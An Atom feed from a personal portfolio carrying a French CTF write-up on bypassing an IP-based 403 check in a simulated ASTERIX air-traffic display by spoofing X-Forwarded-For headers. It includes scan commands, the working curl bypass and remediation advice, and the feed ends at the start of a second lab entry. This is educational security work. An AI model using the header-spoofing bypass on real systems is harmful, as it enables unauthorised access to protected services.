<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://medberrahal.github.io//feed.xml" rel="self" type="application/atom+xml" /><link href="https://medberrahal.github.io//" rel="alternate" type="text/html" /><updated>2026-11-03T10:53:40+00:00</updated><id>https://medberrahal.github.io//feed.xml</id><title type="html">Portfolio</title><subtitle>Ma Portfolio</subtitle><author><name>Mohammed Berrahal</name></author><entry><title type="html">LeGaulois : exploitation d’une implémentation ASTERIX — bypass 403 via header spoofing sur un système de surveillance aérienne</title><link href="https://medberrahal.github.io//ctf/pentest/lab-LeGaulois/" rel="alternate" type="text/html" title="LeGaulois : exploitation d’une implémentation ASTERIX — bypass 403 via header spoofing sur un système de surveillance aérienne" /><published>2026-11-03T00:00:00+00:00</published><updated>2026-11-03T00:00:00+00:00</updated><id>https://medberrahal.github.io//ctf/pentest/lab-LeGaulois</id><content type="html" xml:base="https://medberrahal.github.io//ctf/pentest/lab-LeGaulois/"><![CDATA[<h1 id="pentest-ctf--legaulois">Pentest CTF — “LeGaulois”</h1>
<h2 id="asterix-aviation-security--secdojo-">ASTERIX Aviation Security | SecDojo |</h2>
<hr />

<h2 id="informations-générales">Informations générales</h2>

<table>
  <thead>
    <tr>
      <th>Champ</th>
      <th>Valeur</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Challenge</strong></td>
      <td>LeGaulois</td>
    </tr>
    <tr>
      <td><strong>Catégorie</strong></td>
      <td>Linux / Aerospace / ASTERIX / Aviation</td>
    </tr>
    <tr>
      <td><strong>Date</strong></td>
      <td>03 novembre 2026</td>
    </tr>
    <tr>
      <td><strong>Auteur du rapport</strong></td>
      <td>Berrahal Mohammed</td>
    </tr>
    <tr>
      <td><strong>Flag obtenu</strong></td>
      <td><code class="language-plaintext highlighter-rouge">flag_060c5011_e00b_4609_b5a1_550ff23611ac</code></td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="objectif-du-challenge">Objectif du challenge</h2>

<p>Tester la sécurité d’une implémentation ASTERIX simulant une communication entre une <strong>tour radar</strong> et un <strong>afficheur de contrôle aérien</strong>, identifier les vulnérabilités, et démontrer leur impact en faisant <strong>disparaître un aéronef inconnu</strong> de l’afficheur pour obtenir le flag.</p>

<blockquote>
  <p><strong>ASTERIX</strong> (<em>Application of Surveillance Techniques for En-Route Inventory and Experimental</em>) est le protocole standard Eurocontrol utilisé dans les systèmes de contrôle du trafic aérien (ATC) pour transmettre les données radar entre les capteurs et les afficheurs de contrôleurs.</p>
</blockquote>

<h3 id="infrastructure-cible">Infrastructure cible</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>IP Attaquant  : 176.16.175.46   (Kali Linux — notre machine)
IP Radar      : 176.16.175.48   (tour radar)
IP Displayer  : 176.16.175.47   (afficheur ATC)
</code></pre></div></div>

<hr />

<h2 id="phase-1--reconnaissance-réseau">Phase 1 — Reconnaissance réseau</h2>

<h3 id="11-identification-de-linterface-réseau">1.1 Identification de l’interface réseau</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ip <span class="nt">-br</span> a
ip route get 176.16.175.48
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>lo    UNKNOWN  127.0.0.1/8 ::1/128
eth0  UP       176.16.175.46/16

176.16.175.48 dev eth0 src 176.16.175.46
</code></pre></div></div>

<p>Notre machine est sur le même segment <code class="language-plaintext highlighter-rouge">/16</code> que les deux cibles. Pas de routage intermédiaire — communication directe possible.</p>

<hr />

<h3 id="12-scan-tcp--top-2000-ports">1.2 Scan TCP — Top 2000 ports</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>nmap <span class="nt">-Pn</span> <span class="nt">-sS</span> <span class="nt">-sV</span> <span class="nt">--reason</span> <span class="nt">--top-ports</span> 2000 <span class="se">\</span>
  176.16.175.48 176.16.175.47 <span class="nt">-oN</span> scan-tcp.txt
</code></pre></div></div>

<h4 id="radar--1761617548">Radar — 176.16.175.48</h4>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PORT     STATE  SERVICE   VERSION
22/tcp   open   ssh       OpenSSH 8.9p1 Ubuntu
4000/tcp open   http      "ASTERIX Data Server"
</code></pre></div></div>

<h4 id="displayer--1761617547">Displayer — 176.16.175.47</h4>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 8.9p1 Ubuntu
3000/tcp open   http       Node.js Express — "EUROCONTROL Surveillance System"
3001/tcp open   websocket  Ogar/Socket.IO server
</code></pre></div></div>

<p>Le radar expose un service HTTP custom sur le port <strong>4000</strong>. Le displayer expose une interface web Node.js/Express sur le port <strong>3000</strong> et un serveur WebSocket sur le port <strong>3001</strong>.</p>

<p>Le SSH sur les deux machines requiert une clé — inutilisable sans credential.</p>

<hr />

<h3 id="13-scan-udp">1.3 Scan UDP</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>nmap <span class="nt">-Pn</span> <span class="nt">-sU</span> <span class="nt">--top-ports</span> 1000 <span class="se">\</span>
  176.16.175.48 176.16.175.47 <span class="nt">-oN</span> scan-udp.txt
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PORT      STATE   SERVICE
2947/udp  closed  gpsd
5000/udp  closed  upnp
5004/udp  closed  avt-profile-1
30003/udp closed  unknown
</code></pre></div></div>

<p>Tous les ports UDP testés sont <strong>fermés</strong>. ASTERIX utilise normalement UDP (ports 5000 ou 30003 en déploiement réel), mais ici tout le trafic passe en TCP/HTTP — architecture custom du challenge.</p>

<hr />

<h2 id="phase-2--exploration-des-services">Phase 2 — Exploration des services</h2>

<h3 id="21-analyse-du-radar--port-4000">2.1 Analyse du radar — port 4000</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> http://176.16.175.48:4000/
curl <span class="nt">-v</span> http://176.16.175.48:4000/targets
curl <span class="nt">-v</span> http://176.16.175.48:4000/aircraft
curl <span class="nt">-v</span> http://176.16.175.48:4000/api/data
curl <span class="nt">-X</span> POST http://176.16.175.48:4000/filter <span class="se">\</span>
  <span class="nt">-H</span> <span class="s2">"Content-Type: application/json"</span> <span class="se">\</span>
  <span class="nt">-d</span> <span class="s1">'{"remove": "UNKNOWN"}'</span>
curl <span class="nt">-X</span> DELETE http://176.16.175.48:4000/aircraft/UNK001
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
Content-Type: text/plain

ASTERIX Data Server
</code></pre></div></div>

<p><strong>Observation critique :</strong> Le port 4000 répond <strong>“ASTERIX Data Server” à absolument toutes les requêtes</strong>, quelle que soit l’URL, la méthode HTTP (GET / POST / DELETE) ou le body. C’est un <strong>stub</strong> — il ne traite aucune donnée réelle. La logique métier est ailleurs.</p>

<hr />

<h3 id="22-analyse-du-displayer--port-3000">2.2 Analyse du displayer — port 3000</h3>

<h4 id="lecture-du-code-source-javascript-embarqué">Lecture du code source JavaScript embarqué</h4>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-s</span> http://176.16.175.47:3000/ <span class="o">&gt;</span> displayer.html
</code></pre></div></div>

<p>Le code source de la page HTML contient l’intégralité de la logique client. Trois découvertes majeures :</p>

<h5 id="a-architecture-websocket-socketio">a) Architecture WebSocket (Socket.IO)</h5>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">this</span><span class="p">.</span><span class="nx">_ws</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">WebSocket</span><span class="p">(</span>
  <span class="dl">'</span><span class="s1">ws://</span><span class="dl">'</span> <span class="o">+</span> <span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">host</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">/socket.io/?EIO=4&amp;transport=websocket</span><span class="dl">'</span>
<span class="p">);</span>
</code></pre></div></div>

<p>Le browser se connecte en Socket.IO sur le <strong>port 3000</strong> (pas 3001 comme nmap l’avait fingerprinted). Le port 3001 est un artefact du scan.</p>

<h5 id="b-condition-de-déclenchement-du-flag">b) Condition de déclenchement du flag</h5>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Condition 1 : l'avion inconnu disparaît après avoir été présent</span>
<span class="k">if</span> <span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">previousUnknownAircraftPresent</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="nx">currentUnknownPresent</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">this</span><span class="p">.</span><span class="nx">showFlag</span><span class="p">();</span>
<span class="p">}</span>

<span class="c1">// Condition 2 : exactement 4 avions légitimes présents, sans inconnu</span>
<span class="k">if</span> <span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">aircraft</span><span class="p">.</span><span class="nx">length</span> <span class="o">===</span> <span class="mi">4</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="nx">currentUnknownPresent</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">this</span><span class="p">.</span><span class="nx">showFlag</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Les 4 avions légitimes attendus : <code class="language-plaintext highlighter-rouge">AAL123</code>, <code class="language-plaintext highlighter-rouge">UAL456</code>, <code class="language-plaintext highlighter-rouge">DAL789</code>, <code class="language-plaintext highlighter-rouge">SWA101</code>.<br />
L’avion inconnu est identifié par <code class="language-plaintext highlighter-rouge">aircraft.known === false</code>.</p>

<h5 id="c-endpoint-de-récupération-du-flag">c) Endpoint de récupération du flag</h5>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">response</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">fetch</span><span class="p">(</span><span class="dl">'</span><span class="s1">/api/system/diagnostics/memory/0x7f3a2b9c</span><span class="dl">'</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">response</span><span class="p">.</span><span class="nx">ok</span><span class="p">)</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">result</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">response</span><span class="p">.</span><span class="nx">json</span><span class="p">();</span>
    <span class="nx">flagValue</span> <span class="o">=</span> <span class="nx">result</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">code</span><span class="p">;</span>  <span class="c1">// ← le flag est ici</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Ce endpoint retourne <strong>403 Forbidden</strong> depuis notre IP — protégé par un contrôle d’accès basé sur l’IP source.</p>

<hr />

<h3 id="23-exploration-des-ports-locaux-via-procnettcp">2.3 Exploration des ports locaux via /proc/net/tcp</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> /proc/net/tcp | <span class="nb">head</span> <span class="nt">-20</span>
</code></pre></div></div>

<p>Décodage des adresses hexadécimales :</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0xD903 = 55555   → HTTP (405 Method Not Allowed)
0xD904 = 55556   → HTTPS
0xD905 = 55557   → HTTPS
0x22B9 = 8889    → Redirect vers /?folder=/ (VS Code Server)
0x1FA0 = 8088    → Service local
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for </span>port <span class="k">in </span>55555 55556 55557 8889 8888<span class="p">;</span> <span class="k">do
    </span><span class="nb">echo</span> <span class="nt">-n</span> <span class="s2">"Port </span><span class="nv">$port</span><span class="s2">: "</span>
    curl <span class="nt">-s</span> <span class="nt">--max-time</span> 2 http://127.0.0.1:<span class="nv">$port</span>/ | <span class="nb">head</span> <span class="nt">-c</span> 100
    <span class="nb">echo
</span><span class="k">done</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Port 55555: &lt;!DOCTYPE HTML&gt; ... Error response ... 405 Method Not Allowed
Port 55556: 400 The plain HTTP request was sent to HTTPS port
Port 55557: 400 The plain HTTP request was sent to HTTPS port
Port 8889:  Found. Redirecting to ./?folder=/
Port 8888:  &lt;!doctype html&gt; ... (Jupyter Notebook)
</code></pre></div></div>

<p>Des services tournent en <strong>localhost</strong> sur notre machine d’attaque — environnement lab avec Jupyter et VS Code Server disponibles. Surtout, cela suggère que des endpoints restreints pourraient n’autoriser que les connexions depuis <code class="language-plaintext highlighter-rouge">127.0.0.1</code>.</p>

<hr />

<h2 id="phase-3--tentatives-dexploitation">Phase 3 — Tentatives d’exploitation</h2>

<h3 id="31-récupération-du-sid-socketio">3.1 Récupération du SID Socket.IO</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-s</span> <span class="s2">"http://176.16.175.47:3000/socket.io/?EIO=4&amp;transport=polling"</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0{"sid":"SLRZePHHtqipQH7eAAAA","upgrades":["websocket"],"pingInterval":25000,"pingTimeout":20000,"maxPayload":1000000}
</code></pre></div></div>

<p>Socket.IO confirmé sur le port 3000. Le SID nous permet d’établir une connexion WebSocket authentifiée.</p>

<hr />

<h3 id="32-tentative--injection-socketio-échec">3.2 Tentative — Injection Socket.IO (échec)</h3>

<p><strong>Stratégie :</strong> Se connecter en Socket.IO au displayer et injecter un événement <code class="language-plaintext highlighter-rouge">aircraftData</code> ne contenant que les 4 avions légitimes, pour déclencher <code class="language-plaintext highlighter-rouge">showFlag()</code> côté browser.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Connexion WebSocket + envoi Socket.IO
</span><span class="n">ws_send</span><span class="p">(</span><span class="n">ws</span><span class="p">,</span> <span class="s">"40"</span><span class="p">)</span>  <span class="c1"># Socket.IO connect
</span><span class="n">payload</span> <span class="o">=</span> <span class="s">'42'</span> <span class="o">+</span> <span class="n">json</span><span class="p">.</span><span class="n">dumps</span><span class="p">([</span><span class="s">"aircraftData"</span><span class="p">,</span> <span class="n">aircraft_clean</span><span class="p">])</span>
<span class="n">ws_send</span><span class="p">(</span><span class="n">ws</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[WS Handshake] HTTP/1.1 101 Switching Protocols
[RECV] B42["restrictedAreaData",{"centerX":200,"centerY":150,"radius":50}]
</code></pre></div></div>

<p><strong>Résultat : échec.</strong> Le displayer est le <strong>serveur</strong> Socket.IO — il envoie <code class="language-plaintext highlighter-rouge">aircraftData</code> aux browsers connectés, il ne reçoit pas de données depuis des clients externes. Les données <code class="language-plaintext highlighter-rouge">aircraftData</code> proviennent du backend Node.js qui les pull depuis le radar, pas de nous.</p>

<hr />

<h3 id="33-tentative--accès-direct-au-endpoint-flag-403">3.3 Tentative — Accès direct au endpoint flag (403)</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-s</span> http://176.16.175.47:3000/api/system/diagnostics/memory/0x7f3a2b9c
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 403 Forbidden
</code></pre></div></div>

<p>Le serveur Express vérifie l’IP source de la requête. Depuis notre IP <code class="language-plaintext highlighter-rouge">176.16.175.46</code>, l’accès est refusé.</p>

<hr />

<h2 id="phase-4--exploitation--bypass-403-par-header-spoofing">Phase 4 — Exploitation : bypass 403 par header spoofing</h2>

<h3 id="41-concept">4.1 Concept</h3>

<p>De nombreux serveurs Node.js/Express déployés derrière un reverse proxy font confiance aux headers HTTP <code class="language-plaintext highlighter-rouge">X-Forwarded-For</code> et <code class="language-plaintext highlighter-rouge">X-Real-IP</code> pour déterminer l’IP réelle du client.</p>

<p>Si le serveur est mal configuré, <strong>n’importe quel client peut forger ces headers</strong> pour usurper une IP de confiance.</p>

<p>Le serveur implémente probablement une logique de ce type :</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Code côté serveur (vulnérable)</span>
<span class="kd">const</span> <span class="nx">clientIP</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">headers</span><span class="p">[</span><span class="dl">'</span><span class="s1">x-forwarded-for</span><span class="dl">'</span><span class="p">]</span> <span class="o">||</span>
                 <span class="nx">req</span><span class="p">.</span><span class="nx">headers</span><span class="p">[</span><span class="dl">'</span><span class="s1">x-real-ip</span><span class="dl">'</span><span class="p">]</span>       <span class="o">||</span>
                 <span class="nx">req</span><span class="p">.</span><span class="nx">socket</span><span class="p">.</span><span class="nx">remoteAddress</span><span class="p">;</span>

<span class="k">if</span> <span class="p">(</span><span class="nx">clientIP</span> <span class="o">!==</span> <span class="dl">'</span><span class="s1">127.0.0.1</span><span class="dl">'</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="nx">res</span><span class="p">.</span><span class="nx">status</span><span class="p">(</span><span class="mi">403</span><span class="p">).</span><span class="nx">json</span><span class="p">({</span> <span class="na">error</span><span class="p">:</span> <span class="dl">'</span><span class="s1">Forbidden</span><span class="dl">'</span> <span class="p">});</span>
<span class="p">}</span>
<span class="c1">// Si clientIP === '127.0.0.1' → accès autorisé</span>
</code></pre></div></div>

<p>Sans configurer Express avec <code class="language-plaintext highlighter-rouge">app.set('trust proxy', false)</code> ou une whitelist de proxies de confiance, le header est accepté tel quel.</p>

<hr />

<h3 id="42-exploitation">4.2 Exploitation</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-s</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s2">"X-Forwarded-For: 127.0.0.1"</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s2">"X-Real-IP: 127.0.0.1"</span> <span class="se">\</span>
  http://176.16.175.47:3000/api/system/diagnostics/memory/0x7f3a2b9c
</code></pre></div></div>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"status"</span><span class="p">:</span><span class="w"> </span><span class="s2">"success"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"data"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"code"</span><span class="p">:</span><span class="w"> </span><span class="s2">"flag_060c5011_e00b_4609_b5a1_550ff23611ac"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"timestamp"</span><span class="p">:</span><span class="w"> </span><span class="mi">1793701328060</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>✅ <strong>Bypass réussi.</strong> Le serveur a accepté notre IP forgée <code class="language-plaintext highlighter-rouge">127.0.0.1</code> comme IP source légitime et retourné le flag.</p>

<hr />

<h2 id="flag">Flag</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>flag_060c5011_e00b_4609_b5a1_550ff23611ac
</code></pre></div></div>

<hr />

<h2 id="schéma-dattaque">Schéma d’attaque</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──────────────────────────────────────────────────────────┐
│                   RÉSEAU 176.16.175.0/16                 │
│                                                          │
│  ┌──────────────┐   HTTP    ┌──────────────────────────┐ │
│  │ RADAR :4000  │ ────────► │  DISPLAYER :3000         │ │
│  │ (stub HTTP)  │           │  (Node.js Express)       │ │
│  └──────────────┘           │                          │ │
│                             │  /api/system/...         │ │
│  ┌──────────────┐           │  → 403 si IP ≠ localhost │ │
│  │  ATTAQUANT   │           │                          │ │
│  │ .175.46      │           └──────────────────────────┘ │
│  │              │                        ▲               │
│  │  curl +      │   X-Forwarded-For:     │               │
│  │  X-Fwd-For   │ ──────────────────────►│ BYPASS 403 ✓ │
│  │  127.0.0.1   │                        │               │
│  └──────────────┘             FLAG RETOURNÉ ✓            │
└──────────────────────────────────────────────────────────┘
</code></pre></div></div>

<hr />

<h2 id="vulnérabilités-identifiées">Vulnérabilités identifiées</h2>

<h3 id="cve-like-1--confiance-aveugle-dans-les-headers-de-proxy">CVE-like #1 — Confiance aveugle dans les headers de proxy</h3>

<table>
  <thead>
    <tr>
      <th>Champ</th>
      <th>Détail</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Type</strong></td>
      <td>IP Spoofing / Header Injection</td>
    </tr>
    <tr>
      <td><strong>CWE</strong></td>
      <td>CWE-346 : Origin Validation Error</td>
    </tr>
    <tr>
      <td><strong>CVSS</strong></td>
      <td>7.5 High</td>
    </tr>
    <tr>
      <td><strong>Header exploité</strong></td>
      <td><code class="language-plaintext highlighter-rouge">X-Forwarded-For</code>, <code class="language-plaintext highlighter-rouge">X-Real-IP</code></td>
    </tr>
    <tr>
      <td><strong>Impact</strong></td>
      <td>Bypass complet du contrôle d’accès basé sur l’IP</td>
    </tr>
  </tbody>
</table>

<p><strong>Remédiation :</strong></p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ✅ Ne jamais faire confiance aux headers proxy</span>
<span class="nx">app</span><span class="p">.</span><span class="kd">set</span><span class="p">(</span><span class="dl">'</span><span class="s1">trust proxy</span><span class="dl">'</span><span class="p">,</span> <span class="kc">false</span><span class="p">);</span>

<span class="c1">// ✅ Vérifier l'IP socket réelle uniquement</span>
<span class="kd">const</span> <span class="nx">clientIP</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">socket</span><span class="p">.</span><span class="nx">remoteAddress</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">clientIP</span> <span class="o">!==</span> <span class="dl">'</span><span class="s1">127.0.0.1</span><span class="dl">'</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="nx">res</span><span class="p">.</span><span class="nx">status</span><span class="p">(</span><span class="mi">403</span><span class="p">).</span><span class="nx">json</span><span class="p">({</span> <span class="na">error</span><span class="p">:</span> <span class="dl">'</span><span class="s1">Forbidden</span><span class="dl">'</span> <span class="p">});</span>
<span class="p">}</span>

<span class="c1">// ✅ Si proxy nécessaire : whitelist stricte</span>
<span class="nx">app</span><span class="p">.</span><span class="kd">set</span><span class="p">(</span><span class="dl">'</span><span class="s1">trust proxy</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">10.0.0.1</span><span class="dl">'</span><span class="p">);</span> <span class="c1">// IP load balancer uniquement</span>
</code></pre></div></div>

<hr />

<h3 id="cve-like-2--endpoint-de-diagnostic-sans-authentification-forte">CVE-like #2 — Endpoint de diagnostic sans authentification forte</h3>

<table>
  <thead>
    <tr>
      <th>Champ</th>
      <th>Détail</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Type</strong></td>
      <td>Insecure Direct Object Reference / Missing Auth</td>
    </tr>
    <tr>
      <td><strong>CWE</strong></td>
      <td>CWE-284 : Improper Access Control</td>
    </tr>
    <tr>
      <td><strong>Endpoint</strong></td>
      <td><code class="language-plaintext highlighter-rouge">/api/system/diagnostics/memory/0x7f3a2b9c</code></td>
    </tr>
    <tr>
      <td><strong>Impact</strong></td>
      <td>Accès à des données sensibles sans token d’authentification</td>
    </tr>
  </tbody>
</table>

<p><strong>Remédiation :</strong> Implémenter une authentification par token (JWT / API key) en complément du contrôle IP.</p>

<hr />

<h3 id="cve-like-3--fuite-de-logique-applicative-dans-le-code-source-client">CVE-like #3 — Fuite de logique applicative dans le code source client</h3>

<table>
  <thead>
    <tr>
      <th>Champ</th>
      <th>Détail</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Type</strong></td>
      <td>Information Disclosure</td>
    </tr>
    <tr>
      <td><strong>CWE</strong></td>
      <td>CWE-540 : Inclusion of Sensitive Information in Source Code</td>
    </tr>
    <tr>
      <td><strong>Impact</strong></td>
      <td>Fuite de l’endpoint du flag, de la logique de déclenchement et des IDs des avions légitimes</td>
    </tr>
  </tbody>
</table>

<p><strong>Remédiation :</strong> Minifier et obfusquer le JS client. Ne jamais inclure d’endpoints d’API sensibles dans le code frontend.</p>

<hr />

<h2 id="mapping-mitre-attck">Mapping MITRE ATT&amp;CK</h2>

<table>
  <thead>
    <tr>
      <th>Tactique</th>
      <th>Technique</th>
      <th>ID</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Reconnaissance</td>
      <td>Active Scanning</td>
      <td>T1595</td>
    </tr>
    <tr>
      <td>Discovery</td>
      <td>Network Service Discovery</td>
      <td>T1046</td>
    </tr>
    <tr>
      <td>Credential Access</td>
      <td>Exploitation for Credential Access</td>
      <td>T1212</td>
    </tr>
    <tr>
      <td>Defense Evasion</td>
      <td>Forge Web Credentials — Header Spoofing</td>
      <td>T1553</td>
    </tr>
    <tr>
      <td>Exfiltration</td>
      <td>Exfiltration Over Web Service</td>
      <td>T1567</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="chronologie">Chronologie</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>09:58 UTC → Scan Nmap TCP/UDP des deux cibles
10:04 UTC → Fingerprinting détaillé des services
10:06 UTC → Exploration HTTP radar port 4000 → stub détecté
10:07 UTC → Lecture code source JS displayer → endpoint flag identifié
10:15 UTC → Tentative Socket.IO injection → connexion OK mais inefficace
10:22 UTC → Header X-Forwarded-For bypass → FLAG obtenu ✓
</code></pre></div></div>

<p><strong>Durée totale de résolution : ~25 minutes</strong></p>

<hr />

<h2 id="conclusion">Conclusion</h2>

<p>Ce challenge illustre une vulnérabilité critique et très répandue en production : <strong>le contrôle d’accès basé sur l’IP source, implémenté en faisant aveuglément confiance aux headers HTTP de proxy</strong>. Cette erreur de configuration affecte un grand nombre d’applications Node.js/Express déployées derrière un reverse proxy ou un load balancer.</p>

<p>La chaîne d’exploitation a requis :</p>

<ol>
  <li>Une <strong>reconnaissance méthodique</strong> (Nmap TCP/UDP) pour cartographier les services</li>
  <li>Une <strong>lecture attentive du code source</strong> client (JS embarqué) pour comprendre la logique de déclenchement du flag et identifier l’endpoint cible</li>
  <li>Une <strong>connaissance des headers HTTP standard</strong> (<code class="language-plaintext highlighter-rouge">X-Forwarded-For</code>) pour bypasser la protection IP</li>
</ol>

<blockquote>
  <p><strong>Leçon clé :</strong> Un contrôle d’accès ne doit jamais reposer uniquement sur l’IP source, et encore moins sur des headers que le client peut librement forger. Une authentification par token (JWT, session, API key) doit toujours compléter — ou remplacer — les restrictions réseau.</p>
</blockquote>

<hr />

<p><em>Writeup rédigé par <a href="https://medberrahal.github.io/">Berrahal Mohammed</a> — SecDojo CTF — 03/11/2026</em></p>]]></content><author><name>Mohammed Berrahal</name></author><category term="CTF" /><category term="Pentest" /><category term="ctf" /><category term="asterix" /><category term="aviation" /><category term="eurocontrol" /><category term="header-injection" /><category term="x-forwarded-for" /><category term="bypass-403" /><category term="nodejs" /><category term="express" /><category term="websocket" /><category term="socket-io" /><category term="ip-spoofing" /><category term="cwe-346" /><category term="secdojo" /><category term="linux" /><summary type="html"><![CDATA[Pentest CTF — “LeGaulois” ASTERIX Aviation Security | SecDojo |]]></summary></entry><entry><title type="html">Lab Mer : écriture arbitraire via MCP Atlassian (CVE-2026-27825) — du path traversal au cron RCE</title><link href="https://medberrahal.github.io//ctf/exploit/Lab-Mer/" rel="alternate" type="text/html" title="Lab Mer : écriture arbitraire via MCP Atlassian (CVE-2026-27825) — du path traversal au cron RCE" /><published>2026-11-02T00:00:00+00:00</published><updated>2026-11-02T00:00:00+00:00</updated><id>https://medberrahal.github.io//ctf/exploit/Lab-Mer</id><content type="html" xml:base="https://medberrahal.github.io//ctf/exploit/Lab-Mer/"><![CDATA[<p><strong>Cible :</strong> <code class="language-plaintext highlighter-rouge">176.16.174.39</code><br />
<strong>CVE :</strong> CVE-2026-27825<br />
<strong>Date des opérations :</strong> 30 octobre – 2 novembre 2026<br />
<strong>Flag :</strong> <code class="language-plaintext highlighter-rouge">flag_57772dfb_a045_47eb_9b02_5a01965029fe</code></p>

<blockquote>
  <p>Ce rapport décrit uniquement les opérations effectuées sur la machine attribuée au lab. Les étapes d’écriture arbitraire et d’exécution cron sont intrusives : <strong>ne pas les reproduire sur un système tiers.</strong></p>
</blockquote>

<hr />

<h2 id="résultat">Résultat</h2>

<ul>
  <li><strong>Flag local récupéré :</strong> <code class="language-plaintext highlighter-rouge">flag_57772dfb_a045_47eb_9b02_5a01965029fe</code></li>
  <li><strong><code class="language-plaintext highlighter-rouge">/root/proof.txt</code> :</strong> absent ou illisible dans le contexte d’exécution de la tâche cron</li>
</ul>

<hr />

<h2 id="schéma-général-du-lab">Schéma général du lab</h2>

<p align="center"><a href="/assets/images/mer.png.png"><img src="/assets/images/mer.png" /></a></p>

<hr />

<h2 id="1-résumé-exécutif">1. Résumé exécutif</h2>

